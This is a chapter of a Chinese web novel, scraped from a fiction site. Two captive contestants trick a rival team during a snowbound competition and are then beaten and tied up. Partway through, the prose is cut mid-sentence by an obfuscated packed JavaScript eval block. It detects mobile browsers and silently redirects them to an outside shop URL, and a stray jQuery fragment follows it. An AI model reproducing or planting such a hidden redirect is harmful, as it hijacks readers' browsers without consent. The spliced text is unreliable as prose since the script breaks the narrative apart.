文趣网 > 其他小说 > 你的精神体真的很缠人 > 23. 线索
    “你说得对。”张银雪咬了咬牙,努力平复下自己的情绪,“我才不能哭,我要冷静,我绝不可能再让他嘲笑哭哭啼啼的丑样。”

    “就是这样。”江稚羽粲然笑道,“敌人越强大,我们越不能示弱。打起精神,可别让她们小看我们了。”

    “嗯!”

    后背突然传来重重一击,被绑住的双手无法及时撑地,江稚羽身体朝前重重地摔出去,右肩着地,右臂和膝盖传来一阵刺痛,刺激着僵硬麻木的身体。要不是头上戴稳了帽子,可能连脸都会被磕去一层皮。

    “想背着我偷偷说什么?我允许你们说话了吗?”

    鲶鱼向导的厉声质问从身后传来,林阳适时出声制止道:“实验室就在前面了,别跟她们浪费时间。走快点。”

    小队加快了步伐,远处那颗黑点的影子逐渐放大,一座矮小的建筑外观逐渐浮现在所有人眼前。

    铁皮屋顶被雪压得极矮,像被巨兽踩踏过般向内凹陷,积雪顺着波浪形屋顶流淌而下,在屋檐凝结成犬牙交错的冰凌。风雪刮着建筑外墙,露出红褐色的铁皮,斑驳的沥青如同溃烂的皮肤一样尽数外翻。

    正门台阶早已被风雪淹没,五级台阶只剩下三级,扭曲的钢筋错落地倚躺在门边,歪斜的门板上结满浑浊的冰瘤,把手上缠着冻硬的麻绳,似乎只需轻轻一拽,就能把整个低矮的门板卸下来。

    小队正加快脚步奔向实验室,林阳忽然喝止一声:“有人来了!先趴下躲好。”

    在他们的视野中,矮小的实验室周围蓦然闪出四道人影,围着实验室绕了半圈,走到那扇可以被称之为正门的门板前,停住。

    看来有人抢先比他们到达了。

    鲶鱼向导的脸色变得难看至极,面容因焦虑而扭曲,恨声道:“不能让他们抢先了!”

    “等会。”林阳按住她,望着实验室的方向,声音沉静,“我们现在过去只会跟他们打起来。到时候出现了第三队,他们就渔翁得利了。”

    “那怎么办?林阳!”鲶鱼向导焦急地扯着他的袖子,尖声催促,“我们总不能把恒温仓就这么让给他们吧?”

    “让她们先去。”林阳的眸光落回到队伍三米前开路的江稚羽和张银雪身上,指挥道,“她们过去肯定会被认为是来抢夺恒温仓的,那支队伍肯定会对她俩出手,我们等他们打的时候找机会偷袭。”

    鲶鱼向导一听这计划,顿时眉开眼笑,面上的乌云散开,挽着林阳的胳膊高兴地展笑:“还是你聪明!林阳,你简直是我们学院最聪明的向导。”

    “是呀林同学,我真不明白你当时为什么要和那两名蠢货组队,真是埋没了你一身的智慧。”

    “可能林阳觉得这个比赛太简单了,想找两个傻子队友给自己增加点难度。”

    “哈哈哈哈,有道理,不过我是不能理解你们天才的脑回路。”

    队友们七嘴八舌地夸赞,有人一边上前推搡着江稚羽和张银雪,倨傲地盯着她们催促道:“听到没有,你们两个。现在赶紧去实验室里,跟他们说你们是来抢恒温仓的。还愣着干什么,走快点!”

    江稚羽和张银雪对视一眼,加快步伐,迈着沉重的脚步,踩着冰雪快速向废弃实验室走去。

    三根生锈的通风管从西墙斜刺出来,在风中发出呼呼的震颤,震落的雪粒簌簌地扑打落下。实验室的正门在冷冽的风中前后摆动,摇摇欲坠。

    江稚羽侧身,肩膀用力地顶开门板,两个人在狂风的推搡下挤进沉闷的屋里,那支先来的向导队伍发现这两名不速之客的闯入,纷纷警觉地回头,有人大喝一声:“谁?”

    “我们是战俘。不是来抢东西的。”江稚羽面色坦然地背过身,露出自己被鲶鱼向导反绑住的双手。

    矮小的房屋有效地抵挡肆虐的冷风,这间封闭的实验室隔绝了刺骨的冰寒,江稚羽感觉自己的身体终于回暖少许,恢复了点知觉,扯嘴角露出一个淡笑,从容不迫道:“有个队伍逼我们说出所有线索,还让我们来探路。”

    “他们不仅抢走了我们的线索,还对我们又打又骂。”张银雪愤慨地补充。

    “我们恨死他们了。我们巴不得他们输掉这场比赛。”江稚羽顺着她的话继续道,“谁赢都可以,只要不让他们赢。我们的恶气就出了。”

    江稚羽沉静的眼神一一扫过这一队向导,依次在他们眼中看到疑惑、质疑、惊讶、以及愠怒。

    她接着开口:“反正我们已经没希望赢这场比赛了,我们可以帮你们赢,如果你们信得过我。”

    对面的成员依次互相看了一眼,为首的队长站出来,不确定地反问道:“你们愿意帮我们?”

    “我可以告诉你们我们知道的所有线索,让你们尽快找到真恒温仓。”江稚羽的面容从平静逐渐转成憋闷,秀眉蹙起,嘴角瘪下,似乎是受了天大的委屈,声音里都带上了哭腔,“我们真的很恨他们,一路上都对我们拳打脚踢。他们马上就要来了,后面还有一大批即将到这的队伍,你们赶紧拿着恒温仓离开,赢下比赛,不要把名次让给他们!”

    “对!她们还把我们的队友拉到她们的小队。”张银雪也泪眼婆娑地帮腔,“你们一定要赢啊,不然我们咽不下这口气。”

    这支小队之所以能如此快速抵达,是开局就径直朝着实验室赶来,沿途只遇到了一名伤员,得到的线索少得可怜,根本不知道要从哪里下手选择恒温仓,眼下有两名被压榨的成员主动提出愿意把线索拱手相让,这简直是天赐的机会,他们怎么可能不要?

    为首的向导点了点头,同意道:“那你们说吧,让我听听你们的线索。”

    “第一,木星;第二,大写字母‘V’。”江稚羽毫不犹豫地告知线索,并慷慨地给出自己的推论,“木星在太阳系排行第五,V在罗马数字中表示五,我猜正确的恒温仓是五号。”

    眼见江稚羽如此干脆利落地就把自己知道的内容毫无保留地告知他们,这队向导小队的成员们心中升起浓浓的谢意,所有的防备和警觉顿时烟消云散,有人干脆把自己队伍得到的那条线索也说了出来:“好像有道理。我们那条线索是‘re’,起初我们还搞不懂,经你这么一说,好像是‘do、re、mi’的音阶,跟音乐有关?”

    “钢琴中的五线谱。也有五条。”江稚羽几乎立刻反应过来。

    对面那人一拍脑门,恍然大悟道:“真的!这么一说都通顺了,难怪说要找多几条线索才能推断。”

    “原来如此!”为首的向导眼神感激,快步走近江稚羽和张银雪,替她们解开身后的绳子,喜出望外道,“谢谢你们了,我们一定会努力拿到胜利,决不会让给别人的。”

    “我们也要谢谢你。”江稚羽眸底含笑,和蔼可亲地催促道,“既然拿到了你们就赶紧走吧,他们马上要来了。”

    这支小队极其听劝,拆下实验室正中央第五号恒温仓,几乎一刻也不逗留,匆匆忙忙离开实验室。

    江稚羽和张银雪各自都舒了一口气,相互靠着瘫坐在地,好让自己的身体进一步恢复温暖。

    屋外劲风仍在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599863|204770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    猛烈地刮着,实验室暂时成为一间安全屋。江稚羽抱着自己的身体取暖,转眼扫视这间房屋,水泥的地板结着高低不平的冰壳,中间的桌面按照五边形的形状摆着几个一模一样的舱盒,贴着一到五的数字,只不过三号和五号恒温仓已经被拿走,台面上只剩下三个。

    门再次被推开,簌簌震落一地的雪渣,鲶鱼向导钻进来四下张望,看到坐在角落里的二人,眼中顿时燃起熊熊怒焰。

    “你们还在这里坐着干什么?他们人呢?”鲶鱼向导伸手就拽江稚羽的头发,把她用力地从角落拖出来,“你这个臭不要脸的婊子还有脸在这坐着?他们怎么全都走了?说啊!”

    江稚羽一脸痛苦地捂着脑袋,脚步踉跄地走出角落,被她一推搡,像一只凄楚的小狗哀嚎着摔坐在地,悲声道:“他们找到真恒温舱了,已经拿着离开了啊。”

    “贱人!是不是你们把线索告诉他们了?”鲶鱼向导抬起脚就踹,“不然他们怎么会这么快就知道真污染舱?是不是你说了?”

    江稚羽痛呼一声栽躺下来,就地滚了两圈,哽咽道:“是你们自己慢来一步,凭什么怪我?你有这时间打我,还不如赶紧去抢。”

    “别打了!别打她。”张银雪眼见江稚羽被打,泣不成声,扑上来拉架,又被鲶鱼向导的队友拉扯着摔倒在地,痛得她眼泪从眼眶里涌出。

    鲶鱼向导被情绪头盔干扰着,周身怒火腾涌而起,越发泄,心底的愤怒越发热烈燃烧,仍旧不肯放过她,三两步上前,抬脚又要踹。

    林阳看不下去了,出声制止道:“你要是不想拿奖你就打,等那队伍返回起点,我们都别想赢。”

    鲶鱼向导气不打一处来,发泄似的跺脚,指挥队友道:“给我把她们两个绑起来。”

    队友们只得顺从,拽来几根粗绳子把江稚羽和张银雪绑到倒着的半截木梯扶手上,鲶鱼向导拽着江稚羽的衣领,目露凶光,恶狠狠地盯着她道:“你们这两个叛徒!等我把恒温仓抢回来,老娘整死你!”

    江稚羽畏畏缩缩,惊恐交加地摇头,颤声连连:“不要,我错了……不要打我……”

    “现在知道求饶,刚才为什么敢出卖我们!贱人。”鲶鱼向导怒目圆睁地盯着队友,呵令道,“给我绑紧一点,就让她们在这面壁思过!看你们还敢再动歪心思整我。”

    鲶鱼向导面目狰狞,按着她的脑袋恶狠狠地往后推,头盔重重地砸到木梯上,蛛网状的裂纹悄然散开,情绪干扰头盔被她砸出一个小洞。

    她起身,看也不看桌上剩下的四台污染舱,急匆匆地迈着脚步走出实验室。由于步伐奇快而重心不稳,地面又满布凉凉滑滑的冰壳,即将踏出实验室那一刹,鲶鱼向导“噗”地滑了一跤,“哎呦一声”摔了个屁股墩儿。

    江稚羽忙低下头,忍着不让自己笑出声来。

    鲶鱼向导啐了一口,狼狈地从地上爬起来,离开实验室去抢那支向导小队的恒温仓。

    实验室里又剩下了江稚羽和张银雪背靠背,只是这次的处境显然没那么乐观,她们被五花大绑在木梯上,那些人是下了死手的,每一条绳子末端都打死结,绳子牢牢地勒紧,几乎动弹不得。

    二人在实验室里想尽办法自救,江稚羽试图用藤蔓去解开绳扣,无果,勾了一小块冰过来,尝试用锋利的冰凌割断绳索,张银雪也放出自己的小豚鼠,指挥歪歪努力地用鼠牙磨绳子。

    实验室那扇摇摇欲坠的门被风吹得摇晃震颤。

    风雪灌入,门又开了,一道人影踏着碎冰,走进来。